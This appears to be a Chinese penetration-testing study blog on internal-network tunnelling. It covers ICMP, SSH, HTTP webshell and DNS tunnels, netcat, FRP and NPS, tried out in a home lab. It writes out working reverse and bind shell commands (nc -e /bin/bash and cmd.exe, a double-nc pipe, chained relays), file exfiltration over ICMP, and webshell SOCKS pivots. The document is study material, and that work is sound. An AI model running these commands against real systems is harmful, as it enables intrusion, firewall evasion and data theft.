# 前言
尝试整理一下隧道相关的内容,方便自己查阅。某种意义上来说,我觉得这部分理应还是内网渗透中的第一步。在渗透测试中获取了目标的外网权限后,往往信息收集和隧道的搭建是相辅相成的,隧道的搭建能更加方便的搜集各种信息,信息收集来决定我们使用什么方式搭建隧道。很多地方边学边记,修修改改,逻辑不通顺或者有错误的地方还望指出。
# 端口转发 & 代理 & 隧道
# 正向连接
正向连接就是目标主机(受控主机)监听一个端口,然后我们(控制端主机)主动去连接目标主机的过程,这种适用于受控主机有公网 ip 且安全策略未对端口访问做限制。
- 目标主机能访问
- 目标主机能正常开放端口
# 反向连接
反向连接与正向连接相反,我们在主机上(控制主机)监听一个端口,由目标主机(受控主机)来主动连接控制主机。多用与目标主机没有公网 ip,且可以出网的情况
- 目标主机能访问公网
在渗透测试中,正向连接往往会因为目标主机上的防火墙或者是权限问题而被限制。因为多数防火墙对于内部的流量是信任的,所以很多时候使用反向连接可以突破前面的限制
# 端口转发
端口转发是 NAT 的的一种应用。顾名思义就是将一个网络端口上收到的数据转发给另一个端口,这里的转发的端口可以是本机的,也可以是其他主机的。
# SOCKS 代理
socks 是一种代理协议,其标准端口是 1080。socks 协议有 socks4 和 socks5 两个版本,SOCKS4 只支持 TCP 协议,SOCKS5 实际上是 SOCKS4 的基础上的进一步拓展,在 SOCKS4 的基础上还支持 UDP 和各种身份验证机制等协议
# 隧道
这里的隧道实际上是指一种绕过屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包或者端口封装,当封装的数据到达后再将数据包还原。
TCP/IP 常用的隧道:
- 网络层:IPv6 隧道,ICMP 隧道,GRE 隧道
- 传输层:TCP 隧道,UDP 隧道,常规端口转发
- 应用层:SSH 隧道,HTTP 隧道,HTTPS 隧道,DNS 隧道
# 判断内网的连通性
判断网络的连通性,就是判断内网是否能访问外网。我们需要综合判断各种协议和端口是否能正常在内网中通信
# ICMP 协议
这可能是最常用的测试网络连通性的方式了(虽然现在很多内网中禁止了 ICMP 流量,但是谁没尝试过先 ping 一下百度什么的呢)
# TCP 协议
可以使用 netcat(nc)、Telnet、nmap 等工具进行 TCP 探测,可以使用 - zv 参数探测端口
# HTTP&HTTPS
http 的探测可以使用 curl 来实现
linux 中是自带 curl 的,但是在 Windows 中只有在 win10 之后的系统中才开始自带这个工具,这里就需要我们上传一个 curl 使用,或者也可以使用上面有的语言环境做测试
package main | |
import ( | |
"fmt" | |
"io" | |
"net/http" | |
) | |
func main() { | |
r, _ := http.Get("http://www.baidu.com") | |
fmt.Println(r.Status) | |
defer r.Body.Close() | |
body, _ := io.ReadAll(r.Body) | |
fmt.Println(string(body)) | |
} |
因为 go 打包很方便,也可以这样
# dns 协议
dns 连通性测试可以使用下面两个命令,分别是 linux 和 windows 自带的命令
#linux | |
dig | |
#windows | |
nslookup |
此外还有一种情况就是,内网的流量不能直接流通,需要通过代理服务器才能流出,这里就需要我们通过 netstat 命令来找到可疑的网络连接
curl +x ip:port http://www.baidu.com |
# 隧道
# 网络层
# IPV6
ipv4 只有 32 比特地址空间,随着互联网的应用高速发展,ipv4 地址空间逐渐枯竭,ipv6 投入使用也就不可避免。ipv6 地址空间增大到了 128 比特空间,在合理的编址方法下,可以预见的是在未来不会用完。
ipv6 将实现 ipv6 的主机和路由器都称为节点
由于当前的互联网规模庞大,全球大部分的网络还是使用的是 ipv4,所以从 ipv4 到 Ipv6 是一个循序渐进的过程。
2024 年 4 月,中央网信办、国家发展改革委、工业和信息化部联合印发《深入推进 IPv6 规模部署和应用 2024 年工作安排》。《工作安排》明确了 2024 年工作目标:到 2024 年末,IPv6 活跃用户数达到 8 亿,物联网 IPv6 连接数达到 6.5 亿,固定网络 IPv6 流量占比达到 23%,移动网络 IPv6 流量占比达到 65%。
# IPv6 隧道
ipv6 隧道实际上是指通过 ipv4 隧道传输 ipv6 的技术,如下图所示:
想要将 ipv6 包通过 ipv4 协议传输就要在这里想将其封装成 ipv4 的格式,到达目的地后再还原成 ipv6
支持 IPv6 隧道的工具有 socat,6tunnel,nginx 等等
# 6tunnel
项目地址:https://github.com/wojtekka/6tunnel
也可以直接使用软件包管理器安装
#yum | |
sudo yum install 6tunnel -y | |
#apt-get | |
sudo apt-get install 6tunnel -y |
这个工具是一个可以将 ipv4 和 ipv6
6tunnel 还可用作所有其他 IPv4 和 IPv6 端点组合的隧道。如果远程主机没有任何 IPv6 地址,6tunnel 将使用 IPv4 地址。在其他情况下,使用 -4 参数,使 IPv4 地址成为首选地址。对于 IPv6 到任何隧道,使用 -6,使 6tunnel 绑定到 IPv6 地址。
使用示例:
语法格式:6tunnel -6 [本机端口] [转发IP x:x:x:x] [转发端口] |
实验环境如下所示:
6tunnel 8080 fe80::20c:29ff:fe49:daa7%eth0 80 |
# ICMP
# ICPM 隧道
ICMP(互联网控制消息协议)是一种用于网络数据包错误报告和状态查询的重要协议,它通过反馈数据包传输中的问题来提高通信的质量。ICMP 的工作机制为源端设备提供关于错误情况的报告,帮助判断和控制流量,从而确保数据的可靠传输。此外,ICMP 还在网络管理中发挥重要作用,如通过 Ping 和 Tracert 等工具进行网络状态监测。
在一些网络环境中,如果各种上层隧道(传输层,应用层)都尝试失败了,可以尝试使用 ping 访问远程主机,来建立 ICMP 隧道,将 TCP/IP 数据封装到 ICMP 的 ping 数据包中来绕过防火墙,常用的 ICMP 隧道工具 icmpsh、pingTUnnel、icmptunnel、powershell icmp
# 原理
先看下图,是我在网上随便找的一个 ICMP 报文的结构
其中 0~31 是各种协议头部,剩下的部分就都是 ICMP 的数据部分
ICMP 消息类型代码对应表
类型 Type | 代码 Code | 描述 |
---|---|---|
0 | 0 | 回显应答(ping 应答) |
3 | 0 | 网络不可达 |
3 | 1 | 主机不可达 |
3 | 2 | 协议不可达 |
3 | 3 | 端口不可达 |
3 | 4 | 需要进行分片但设置不分片比特 |
3 | 5 | 源站选路失败 |
3 | 6 | 目的网络不认识 |
3 | 7 | 目的主机不认识 |
3 | 8 | 源主机被隔离(作废不用) |
3 | 9 | 目的网络被强制禁止 |
3 | 10 | 目的主机被强制禁止 |
3 | 11 | 由于 TOS,网络不可达 |
3 | 12 | 由于 TOS,主机不可达 |
3 | 13 | 由于过滤,通信被强制禁止 |
3 | 14 | 主机越权 |
3 | 15 | 优先权中止生效 |
4 | 0 | 源端被关闭 |
5 | 0 | 对网络重定向 |
5 | 1 | 对主机重定向 |
5 | 2 | 对服务类型和网络重定向 |
5 | 3 | 对服务类型和主机重定向 |
8 | 0 | 请求回显(ping 请求) |
9 | 0 | 路由器通告 |
10 | 0 | 路由器请求告 |
11 | 0 | 传输期间生存时间为 0 |
11 | 1 | 在数据报组装期间生存时间为 0 |
12 | 0 | 坏的 IP 首部 |
12 | 1 | 缺少必须的选项 |
13 | 0 | 时间戳请求(作废不用) |
14 | 0 | 时间戳应答(作废不用) |
15 | 0 | 信息请求(作废不用) |
16 | 0 | 信息应答(作废不用) |
17 | 0 | 地址掩码请求 |
18 | 0 | 地址掩码应答 |
windows 系统,默认传输 32bytes,内容是 abcdefghijklmnopqrstuvwabcdefghi
linux 系统,在 Date 之前多了一个 Timestamp from icmp data 头 10-2f 的 16 进制递增加上 !”#$%&’()*+,-./01234567*
。
这里直接拿 windows 来看一下这个过程(至于为什么不是 linux,我的 kali 叕死机了)。不想打开
这里每一个响应都使用了两个 icmp 报文
我们可以通过查询 ICMP 消息类型代码对应表来查找这个 type 和 code 来知道这个报文的作用和含义
第一个报文 type 是 8,code 是 0,这是一个请求回显(ping 请求)
在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是 16 位的字段。
标识符在应用程序执行期间送出的所有报文里填入相同的值。序号每送出一个报文数值就增加 1
第二个报文 type 是 0,code 是 0,这是一个回显应答(ping 应答)
应答报文中只有源和目标 ip 不同,其他的都未改变
这段介绍博大精深在 默认
传输的默认二字,很显然是可以改变的。这就是 icmp 隐蔽隧道的原理:替换 Data 部分,利用客户端程序进行接收并处理服务端发送的畸形的 ICMP 协议
# Icmpsh
这里介绍和实验一下第一个工具,工具地址:bdamele/icmpsh: Simple reverse ICMP shell (github.com)
截止到我记录这篇文章的时间,这个小工具已经 11 年没有更新了。
看了一下 c 语言的实现,发现当时作者并没有兼容 linux 平台。但现在不是开发的时机,而且也有人实现了跨平台的工具,这里只做简单记录
在被控制端执行
icmpsh.exe -t 192.168.246.136 |
然后再 vps 上执行
sudo python icmpsh_m.py 192.168.246.136(vps_ip) 192.168.246.190(被控制端ip)
在执行之前有一些地方需要做一些改动
第一个地方就是判断操作系统这里,这里使用 python3 执行
第二个地方,编码问题
第三个地方,同样是编码问题
回显都是通过 request,可以看到这是应该反向 shell。不过想要投入使用免杀会是一个首要问题,而且经过测试极为不稳定,还慢。想要使用可能也只能是极为特殊的情况下了。
# Icmptunnel
这里介绍和实验一下第二个工具,工具地址:jamesbarlow/icmptunnel: Tunnel IP over ICMP. (github.com)
截止到我记录这篇文章的时间,这个小工具已经 8 年没有更新了。
首先将这个工具 clone 下来,然后使用 make 编译
git clone https://github.com/jamesbarlow/icmptunnel.git | |
cd icmptunnel | |
make |
然后再攻击端(vps)上执行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all | |
./icmptunnel –s |
然后给新网卡分配一个 ip
ifconfig tun0 10.0.0.1 netmask 255.255.255.0 |
目标端也需要安装 icmptunnel,然后执行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all | |
./icmptunnel 192.168.246.136#(vps_ip) |
同样这里也需要给新网卡分配一个 ip
ifconfig tun0 10.0.0.2 netmask 255.255.255.0 |
现在,我们就拥有一个端到端基于 ICMP 数据包的隧道了。其中服务器地址为 10.10.0.1,客户端地址为 10.10.0.2。
# Pingtunnel
这里介绍和实验一下第三个工具,工具地址:esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP (github.com)
这个小工具的开发者就活跃多了,截止到这篇文章至少上周更新了 dockerfile 文件
在这个工具的介绍中有上面这样一张图,这图实际上就体现了 icmp 隧道的原理,客户端的 TCP/UDP 流量在客户端封装为 icmp 流量通过防火墙,到达服务端口在还原为 TCP/UDP 流量。因为这个工具是使用 go 语言开发的,所以是支持跨平台的。作者打包了很多个版本也可以直接下载使用,可以使用下面的命令进行静态编译
#linux | |
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags '-extldflags "-static"' -o pingtunnel | |
#windows | |
set CGO_ENABLED=0 | |
go build -ldflags "-extldflags -static" -o pingtunnel.exe |
这里我是在 kali 上做测试,模拟环境如下所示
首先在 vps 和 web 上都编译好 pingtunnel,然后现在服务端(web)启动
sudo ./pingtunnel -type server -key 123456 |
然后启动客户端(vps)
pingtunnel -type client -l :4455 -s 192.168.246.130 -sock5 1 |
# Icmp_tunnel_ex_filtrate
一个通过 icmp 隧道传输文件的小工具,感觉在特定的情况下应该会挺好用的,这里也简单的记录一下。连接:icmp_tunnel_ex_filtrate
在接收端开启流量监听
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt |
然后在发送端,使用脚本
sudo python2 icmp_transmitter.py test.zip 192.168.246.136 |
然后再接收端
这里接收到了两个包,转换文件格式
dos2unix parser.sh output.txt |
最后使用 sh 脚本解密就拿到了文件
# 防御
防御的方法也是比较多的,比如说隧道通信短时间内会发送大量的 icmp 报文,并且请求回显和请求应答的包 data 部分不相同
# 传输层
传输层主要是 TCP 和 UDP 协议,除了相对应的协议以外,这里还包括了常规的端口转发。在这个小块中就不按照协议来分了,这两种协议在工具中的覆盖率很高,很多时候就是一个参数不同,所以也不在啰嗦。在传输层中的工具就比较多了,类似 nc,frp,nps,lcx 等等。(稍微有点多,先按照常用来写,写烦了就跳到下一层 🐱 非常合理)
# Netcat
又是 nc,网络安全玩家想必不会对这把 “瑞士军刀” 陌生,NetCat 其实可以分开来理解,对 Net 使用 cat 命令 —— 实际上就是从网络的一端读取数据,从另一端输出支持 TCP 和 UDP 协议
# 帮助信息速查表
使用 - h 参数可以查询到 nc 的帮助
-c shell commands: 像 -e 一样,连接后使用 /bin/sh 来执行指定的 shell 命令。 | |
-e filename: 连接后执行指定的程序或脚本。 | |
-b: 允许发送广播数据包。 | |
-g gateway: 指定源路由的网关(跳跃点),最多可指定8个。 | |
-G num: 设置源路由指针,指针值为 4、8、12 等。 | |
-h: 显示帮助信息。 | |
-i secs: 设置延迟时间,以秒为单位,用于发送每行数据或者扫描端口之间的间隔。 | |
-k: 使能 keepalive,保持连接不断开。 | |
-l: 进入监听模式,等待并接收入站连接。 | |
-n: 只使用数字 IP 地址,不进行 DNS 解析。 | |
-o file: 将传输的数据以十六进制格式导出到指定的文件中。 | |
-p port: 指定本地使用的端口号。 | |
-r: 随机化本地和远程端口。 | |
-q secs: 在标准输入结束后等待指定的秒数,然后退出。 | |
-s addr: 指定本地源地址。 | |
-T tos: 设置服务类型。 | |
-t: 自动响应 TELNET 协议的协商请求。 | |
-u: 使用 UDP 模式(默认是 TCP)。 | |
-v: 启用详细输出模式(使用两次 -v 可以增加详细程度)。 | |
-w secs: 设置连接和最终网络读取的超时时间,以秒为单位。 | |
-C: 将行结尾作为 CRLF(回车换行)发送。 | |
-z: 使用零输入输出模式(通常用于端口扫描)。 |
# 抓取 Banner 相关信息 && 连接远程主机
Banner 中可能包含的信息
- 软件开发商
- 软件名称
- 服务类型
- 版本号 (可以通过版本号来发现已知的漏洞和弱点,这是最重要的)
执行如下命令
nc -nvv 192.168.246.130 80 |
# 端口扫描
nc -vvz 192.168.246.130 1-30
或者使用一个 v 来使得输出简洁一些
# 端口监听
执行下面的命令,监听本地端口。当端口被访问时会输出该信息到命令行
nc -lvvp 8080 |
# 传输文件
接收端,监听本地一个端口输出内容到 1.txt 中
nc -lvvp 8080 > 1.txt |
发送端,连接到接收端的目标端口,然后
nc 192.168.246.136 8080 < pingtunnel_INFO_2024-08-21.log -q 3 |
# 获取 shell
shell 通常也分为正向 shell 和反向 shell,这里的正向和反向与前面的正向连接反向连接的概念是基本没什么区别的
# 正向 shell
一般用于目标主机不出网的情况下的尝试,在目标上使用下面的命令
nc -lvvp <监听的本地端口> -e <命令解释器> | |
#linux | |
nc -lvp 6767 -e /bin/bash | |
#windows | |
nc -lvp 6767 -e C:\windows\system32\cmd.exe |
然后再攻击机上输入下面的命令去连接到目标主机
nc <目标ip> <目标端口> | |
nc 192.168.166.179 6767 |
# 反向 shell
我们常说的反弹 shell 就是指这个了,与正向 shell 不同的是反向 shell 是攻击端监听端口,目标主机主动连接。因为当前的网络环境中各种防火墙存在,所以正向连接往往会被拦截,但是从内到外的流量往往是默认允许的。所以在主机出网的情况下往往使用的是反向 shell
当然,还是先起监听,在攻击机上还行下面的命令,监听本地的端口等待连接
nc -lvvp 6767 |
然后再目标端上执行下面的命令
nc <VPS_ip> <监听的端口> -e <本机的命令解释器> | |
#linux | |
nc 192.168.166.179 6767 -e /bin/bash | |
#windows | |
nc 192.168.166.179 6767 -e C:\windows\system32\cmd.exe |
对于没有 - e 参数的 nc 版本可以使用双 nc 的方式
cat;nc 192.168.13.249 1234 | /bin/bash | nc 192.168.13.249 2345 |
先通过 nc 监听一个端口,然后通过管道符将第一个连接的后续输入都发送给 /bin/bash,然后将执行的结果通过管道符发送给另一个端口
经常反弹 shell 的都知道,反弹 shell 的途径很多种,这里不在一一赘述,推个在线小工具
Online - Reverse Shell Generator (revshells.com)
# 内网代理
实际上就是通过 - c 参数来跳转两次 shell
实验环境:
目标是将内网主机的 shell 反弹到 vps 上来,首先在 vps 上启一个端口监听
nc -lvvp 6767 |
然后在内网主机上执行
nc -lvvp 6767 -e /bin/bash |
最后在 web 主机上执行
nc -v 192.168.166.179 6767 -c "nc -v 192.168.246.130 6767" |
这时就可以在 vps 上拿到内网主机的 shell 了
实际上在上面这个过程中,内网主机和 web 主机之间是正向 shell,vps 和 web 主机之间是反向 shell,通过 - c 参数将正向 shell 转交给反向 shell
还有一个有意思的小工具 PowerCat,是 nc 的 powershell 版本,工具连接:
GitHub - besimorhino/powercat: netshell features all in version 2 powershell
# lcx
一个很经典的端口转发工具,基于 Socket 套接字实现。网上版本众多,这里就不给出链接了。版本不版本的,好用就行,这里我选用的是一个 lcx 的 go 实现
几种利用方式
nb -listen port1 port2 # 同时监听 port1 端口和 port2 端口,当两个客户端主动连接上这两个监听端口之后,nb 负责这两个端口间的数据转发。 | |
nb -tran port1 ip:port2 # 本地开始监听 port1 端口,当 port1 端口上接收到来自客户端的主动连接之后,nb 将主动连接 ip:port2,并且负责 port1 端口和 ip:port2 之间的数据转发 | |
nb -slave ip1:port1 ip2:port2 # 本地开始主动连接 ip1:port1 主机和 ip2:port2 主机,当连接成功之后,nb 负责这两个主机之间的数据转发 | |
nb -log filedirpath #日志,不要使用包含空格以及各种特殊字符的文件路径,可使用 Linux 下的 tail -f 命令将转发数据实时显示出来 |
这个实际上和 lcx 一样,写起来过于枯燥,扔个连接供使用
GitHub - EddieIvan01/iox: Tool for port forwarding & intranet proxy
# Frp&&NPS
之前简单写过,这里就偷个懒
FRP&&NPS 搭建 - 内网 | Clown の Blog = (xcu.icu)
# FRP
首先选一个看着顺眼的版本 Releases・fatedier/frp (github.com),这里我使用的是 v0.54.0
FRP 是一种快速反向代理,允许您向 Internet 公开位于 NAT 或防火墙后面的本地服务器。它目前支持 TCP 和 UDP,以及 HTTP 和 HTTPS 协议,允许通过域名将请求转发到内部服务。可以通过利用 frp 简单的将内网环境暴漏出来
FRP 分为客户端和服务端两个部分,一般我们将客户端运行在需要暴露出来的内网主机上,而服务端我们运行在一台公网服务器上。这里我们使用虚拟机来进行一个演示
首先将 linux 对应版本的 FRP 传入 kali 虚拟机中
我们解压进入目录后修改 frps.toml 文件(这里 kali 是模拟一台公网主机)
[common] | |
# frp 监听的端口,默认是 7000,可以改成其他的 | |
bind_port = 7000 | |
# 授权码,请改成更复杂的 | |
token = clown | |
# frp 管理后台端口,请按自己需求更改 | |
dashboard_port = 7500 | |
# frp 管理后台用户名和密码,请改成自己的 | |
dashboard_user = clown | |
dashboard_pwd = clown | |
enable_prometheus = true | |
# frp 日志配置 | |
log_file = /var/log/frps.log | |
log_level = info | |
log_max_days = 3 |
然后我们使用 root 权限启动服务端
这里的警告不用管
这里能正常访问到对应的管理后台就可以了,然后这里将客户端传入到我们要暴露的目标主机上
这里修改 frpc.toml 文件
# 客户端配置 | |
[common] | |
server_addr = "192.168.246.136" # 与 frps.ini 的 bind_port 一致 | |
server_port = "7000" # 与 frps.ini 的 token 一致 | |
token = "clown" | |
[test_sock5] | |
type = tcp | |
remote_port =8111 | |
plugin = socks5 | |
[mstsc] | |
type = tcp | |
local_ip = 192.168.246.146 | |
local_port = 3389 | |
remote_port = 3389 |
然后这里直接启动即可
这里可以去看一下管理后台
可以看到这里已经上线了
这里就已经可以用 kali 的 ip 远程桌面到内网 ip 了
# NPS
nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持 tcp、udp 流量转发,可支持任何 tcp、udp 上层协议(访问内网网站、本地支付接口调试、ssh 访问、远程桌面,内网 dns 解析等等……),此外还支持内网 http 代理、内网 socks5 代理、p2p 等,并带有功能强大的 web 管理端。
这里实际上也是我们将服务端运行在公网主机上,而将客户端运行在要暴漏的内网主机上。先将 server 端上传到 kali 上解压
这里先修改 conf 目录下的 nps.conf 文件
修改完成后运行 install 进行安装
./nps install |
启动 nps
nps start |
访问 nps 管理页面
使用上面的用户名密码登录
这里选择新增客户端
然后我们将对应的客户端放入到需要暴漏的目标主机上
然后执行上面的命令
我们可以看服务端的后台
这里连接状态已经是在线了
# 配置 socks5 代理
这里选择新增
这里给定一个客户端 ID(这里 id 要和客户端那里的对应)给定一个服务端端口
# 配置端口转发
新增 TCP 隧道用于远程控制
这里同理
# 应用层
应用层的协议比起前面的网络层和传输层来说是很多的,相对应的工具也比较多。不过我们常用的隧道协议有 SSH,HTTP/HTTPS 和 DNS 协议。
# SSH
几乎所有的 Linux/UNIX 服务器和网络设备都支持 SSH 协议,为了方便管理员管理,很多时候 ssh 还是可以通过防火墙的。而且 ssh 传输过程是加密的,就很难被检测到。不过有些架构会有一些堡垒机,或者不允许 ssh 连接而使用带外管理方式。
这里要使用的工具就是最常用的 ssh 命令
帮助手册稍微有点长,这里就不全都贴翻译了。创建隧道中常用的参数如下
-C:压缩传输,提高传输速度 | |
-f:将SSH 传输转人后台执行,不占用当前的Shell。 | |
-N:建立静默连接(建立了连接,但是看不到具体会话)-g:允许远程主机连接本地用于转发的端口。 | |
-L:本地端口转发。 | |
-R:远程端口转发。 | |
-D:动态转发(SOCKS 代理) | |
-P:指定 SSH端口。 |
感觉最常用的可能是
ssh root@ip |
实验环境
# 本地转发
以边缘服务器为跳板机将内网主机的 80 端口映射到 vps 的 8081 端口上,在 vps 上执行下面的命令
#ssh -CfNg -L 8081(本地端口):192.168.166.179(目标主机):80(目标主机上的端口) hbc@192.168.246.130(跳板机) | |
ssh -CfNg -L 8081:192.168.166.179:80 hbc@192.168.246.130 |
然后现在访问
# 远程转发
还是上面这个环境
#ssh -CfNg -R 8081(vps 端口):192.168.166.179(目标主机):80(目标主机上的端口) hbc@192.168.246.130(vps_ip) | |
ssh -CfNg -R 8081:192.168.166.179:80 hbc@192.168.246.136 |
本地转发是将远程主机(ssh 连接的主机)上的某个端口的数据转发到本地的指定端口上,远程转发是在远程主机上监听一个端口,所有来自该端口的流量都转发到指定端口上
# 动态转发
动态转发顾名思义,不指定端口。建立一个动态的 SOCKS 4/5 代理
在 vps 上执行下面的命令
ssh -CfNg -D 8899 hbc@192.168.246.130 |
然后就可以使用该代理来访问内网主机
# Http&Https
这个算是用的比较多的一种隧道搭建方式了(至少我用的还挺多),通常情况下适用于 web 服务器反向代理映射,或者是只有指定 web 端口开放的时候会使用,常见的代理工具有 regeorg、ABPTTS、Neo-reGeorg、Suo5(比三角形都稳定,来自 m4x 的认可)
# regeorg
reGeorg 的前身是 2008 年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展,主要功能是把内网服务器端口的数据通过 http/https 隧道转发到本机。下载地址 sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. (github.com)
截止到我记录这篇文章的时间,这个小工具已经 7 年没有更新了
这个工具提供了很多种语言类的 web 脚本,ASPX,PHP,JSP 等等,还有一个 tomcat 5 的版本,现在也基本上遇不到了。使用也很简单讲对应的 webshell 上传后,使用 python 脚本连接即可,连接命令如下
# python reGeorgSocksProxy.py -p < 本地监听的端口 > -u < 目标站点 >/< 对应的 webshell> | |
python2 reGeorgSocksProxy.py -p 1080 -u http://192.168.246.1/tunnel.php |
这样就可以直接走本地的 socks 代理了
# Neo-reGeorg
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,旨在
- 提高可用性,避免特征检测
- 提高 tunnel 连接安全性
- 提高传输内容保密性
- 应对更多的网络环境场景下使用
地址:L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg (github.com)
截止到我记录这篇文章的时间,三周前这个小工具还在更新。
首先通过密码和模版生成 webshell
#python neoreg.py generate -k < 密码 >
python neoreg.py generate -k 123456
可以看到日志,会在 neoreg_servers 目录下生成 webshell 文件,将对应文件上传
使用下面的命令进行连接
#python neoreg.py -k < 生成时使用的密码 > -u < 地址 >/<webshell 路径 >
python
然后使用本机的 1080 端口即可
http 的无非就是上传 webshell,然后连接到 webshell。
# DNS
DNS 协议是一种请求应答协议,当然既然写在这里,说明其也是一种可用于应用层的隧道技术。正常的网络通信中,都是在两台机器之间建立 TCP 连接后进行的。在进行数据通信的时候,如果使用的是 IP 地址,可以直接发送数据,如果是域名就会先进行 DNS 解析,解析成 ip 地址后再进行通信。在进行 DNS 查询时,如果查询的域名不在 dns 服务器本机的缓存中就会访问互联网进行查询,然后返回结果。如果在互联网上有一台机器,就可以通过 DNS 协议交换数据。常用的代理工具有 dnscat2,iodine,dns2tcp 等
# dnscat2
地址:GitHub - iagox86/dnscat2
使用 DNS 协议创建加密的 C&C 通道,通过预共享秘钥进行身份验证。
截止到我记录这篇文章的时间,这个小工具已经 5 年没有更新了。
首先部署域名解析
先添加一条 A 记录,指向 vps 的 ip,这里因为是实验环境,我指向攻击机的 IP 地址
然后创建一条 ns 记录指向刚刚的 A 记录ns 记录是用于设置子域名的 DNS 服务器的
可以 ping 一下测试
可以看到这里已经解析到 ip192.168.246.136 了,说明第一条 A 解析记录已经生效了。在 vps 上执行下面的命令进行端口监听
sudo tcpdump -n -i eth0 udp dst port 53
然后请求解析 NS 记录
可以看到如上图所示的端口有查询信息,说明第二条 NS 记录生效
安装服务端
因为 dnscat2 的服务端是使用 Ruby 语言编写的,所以这里用 kali 可以省去很多事。先安装 gem 依赖
sudo apt-get install gem
sudo apt-get install ruby-dev
sudo apt-get install lib-dev
sudo apt-get install ruby-bundler
然后就可以启动服务端了
#-e 设置安全级别,open 表示允许客户端不加密,-c 设置秘钥,--no-cache 表示警用缓存
ruby dnscat2.rb vpn.xcu.icu -e open -c 123456 --no-cache
安装客户端,dnscat2 客户端是使用 C 语言编写的,因此在使用前需要进行编译。
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make
使用服务端给的命令连接即可
# 最后
哪有什么内网渗透,不过是拿不到 shell 的攻防结束前的幻想罢了
参考:
报文格式:ICMP 报文通用格式 - IP 报文格式大全 (html) - 华为 (huawei.com)
网络层:内网转发及隐蔽隧道 | 网络层隧道技术之 ICMP 隧道 (pingTunnel/IcmpTunnel)- 腾讯云开发者社区 - 腾讯云 (tencent.com)
什么是 DNS?DNS 域名解析过程 - 华为 (huawei.com)